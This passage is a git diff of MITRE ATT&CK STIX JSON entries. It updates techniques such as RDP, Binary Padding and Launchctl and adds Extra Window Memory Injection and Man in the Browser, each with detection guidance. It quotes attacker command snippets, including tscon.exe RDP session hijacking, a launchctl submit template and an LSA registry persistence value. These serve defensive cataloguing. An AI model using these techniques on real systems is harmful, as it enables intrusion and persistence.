+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Binary Padding",
-            "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nDefense Bypassed: Anti-virus, Signature-based detection",
+            "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -32,21 +32,9 @@
                 "Signature-based detection"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--51dea151-0898-4a45-967c-3ebee0420484.json b/enterprise-attack/attack-pattern/attack-pattern--51dea151-0898-4a45-967c-3ebee0420484.json
index 7cf485cc25..2e8f7c7443 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--51dea151-0898-4a45-967c-3ebee0420484.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--51dea151-0898-4a45-967c-3ebee0420484.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f9d66bc8-9b37-48d4-abb0-aeb91d3ae5e7",
+    "id": "bundle--967d9283-9400-4ad9-83bf-a73a954621d0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:59.769Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Desktop Protocol",
-            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.",
+            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -32,11 +32,29 @@
                     "source_name": "Alperovitch Malware",
                     "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                     "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
+                },
+                {
+                    "source_name": "RDP Hijacking Korznikov",
+                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
+                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
+                },
+                {
+                    "source_name": "RDP Hijacking Medium",
+                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
+                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
+                },
+                {
+                    "source_name": "Kali Redsnarf",
+                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
+                    "url": "https://github.com/nccgroup/redsnarf"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Matthew Demaske, Adaptforward"
+            ],
             "x_mitre_data_sources": [
                 "Authentication logs",
                 "Netflow/Enclave netflow",
@@ -47,18 +65,7 @@
                 "Remote Desktop Users"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "RDP service enabled, account in the Remote Desktop Users group."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87.json b/enterprise-attack/attack-pattern/attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87.json
index 323a92df21..cc972a82eb 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc0073d1-c754-4c60-a9db-1a268aa15d3a",
+    "id": "bundle--63c02c9f-ae17-471a-8f3c-e328892c3512",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:25.159Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Other Network Medium",
-            "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,21 +36,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d.json b/enterprise-attack/attack-pattern/attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d.json
index 3f8e8336ff..9df09949c4 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--78c5fa0d-a506-4549-8c49-de0d8b7feaba",
+    "id": "bundle--0f9ebf48-89a8-40e7-b860-b46f530976a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:43.135Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authentication Package",
-            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
+            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -51,18 +51,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0.json b/enterprise-attack/attack-pattern/attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0.json
new file mode 100644
index 0000000000..ae8484da97
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0.json
@@ -0,0 +1,83 @@
+{
+    "type": "bundle",
+    "id": "bundle--d8525912-a01a-43bb-b370-36a94e9615ed",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Extra Window Memory Injection",
+            "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nDetection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1181",
+                    "external_id": "T1181"
+                },
+                {
+                    "source_name": "Microsoft Window Classes",
+                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
+                },
+                {
+                    "source_name": "Microsoft GetWindowLong function",
+                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
+                },
+                {
+                    "source_name": "Microsoft SetWindowLong function",
+                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "MalwareTech Power Loader Aug 2013",
+                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
+                },
+                {
+                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
+                },
+                {
+                    "source_name": "Microsoft SendNotifyMessage function",
+                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Anti-virus",
+                "Host intrusion prevention systems",
+                "Data Execution Prevention"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee.json b/enterprise-attack/attack-pattern/attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee.json
index b7dbe66a70..4fc3238d39 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac2f2688-0850-4b16-805b-0c99bc1b8353",
+    "id": "bundle--b9a4858c-b492-4a68-b133-c3e64f28aef4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launchctl",
-            "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
+            "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,8 +55,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47.json b/enterprise-attack/attack-pattern/attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47.json
new file mode 100644
index 0000000000..66c5cb3cbe
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47.json
@@ -0,0 +1,63 @@
+{
+    "type": "bundle",
+    "id": "bundle--33497483-3188-4126-9573-b62c47acebbe",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Man in the Browser",
+            "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication (Citation: cobaltstrike manual).\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "collection"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1185",
+                    "external_id": "T1185"
+                },
+                {
+                    "source_name": "Wikipedia Man in the Browser",
+                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
+                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
+                },
+                {
+                    "source_name": "Cobalt Strike Browser Pivot",
+                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
+                    "url": "https://www.cobaltstrike.com/help-browser-pivoting"
+                },
+                {
+                    "source_name": "cobaltstrike manual",
+                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
+                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Justin Warner, ICEBRG"
+            ],
+            "x_mitre_data_sources": [
+                "Authentication logs",
+                "Packet capture",
+                "Process Monitoring",
+                "API monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba.json b/enterprise-attack/attack-pattern/attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba.json
index 8d750564c3..601794b903 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b93fc59-989c-44fa-b660-051bad38d141",
+    "id": "bundle--998c3b8a-c60b-4800-8b94-38a94907eef3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:29.858Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Services",
-            "description": "An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
+            "description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -31,21 +31,9 @@
                 "Authentication logs"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
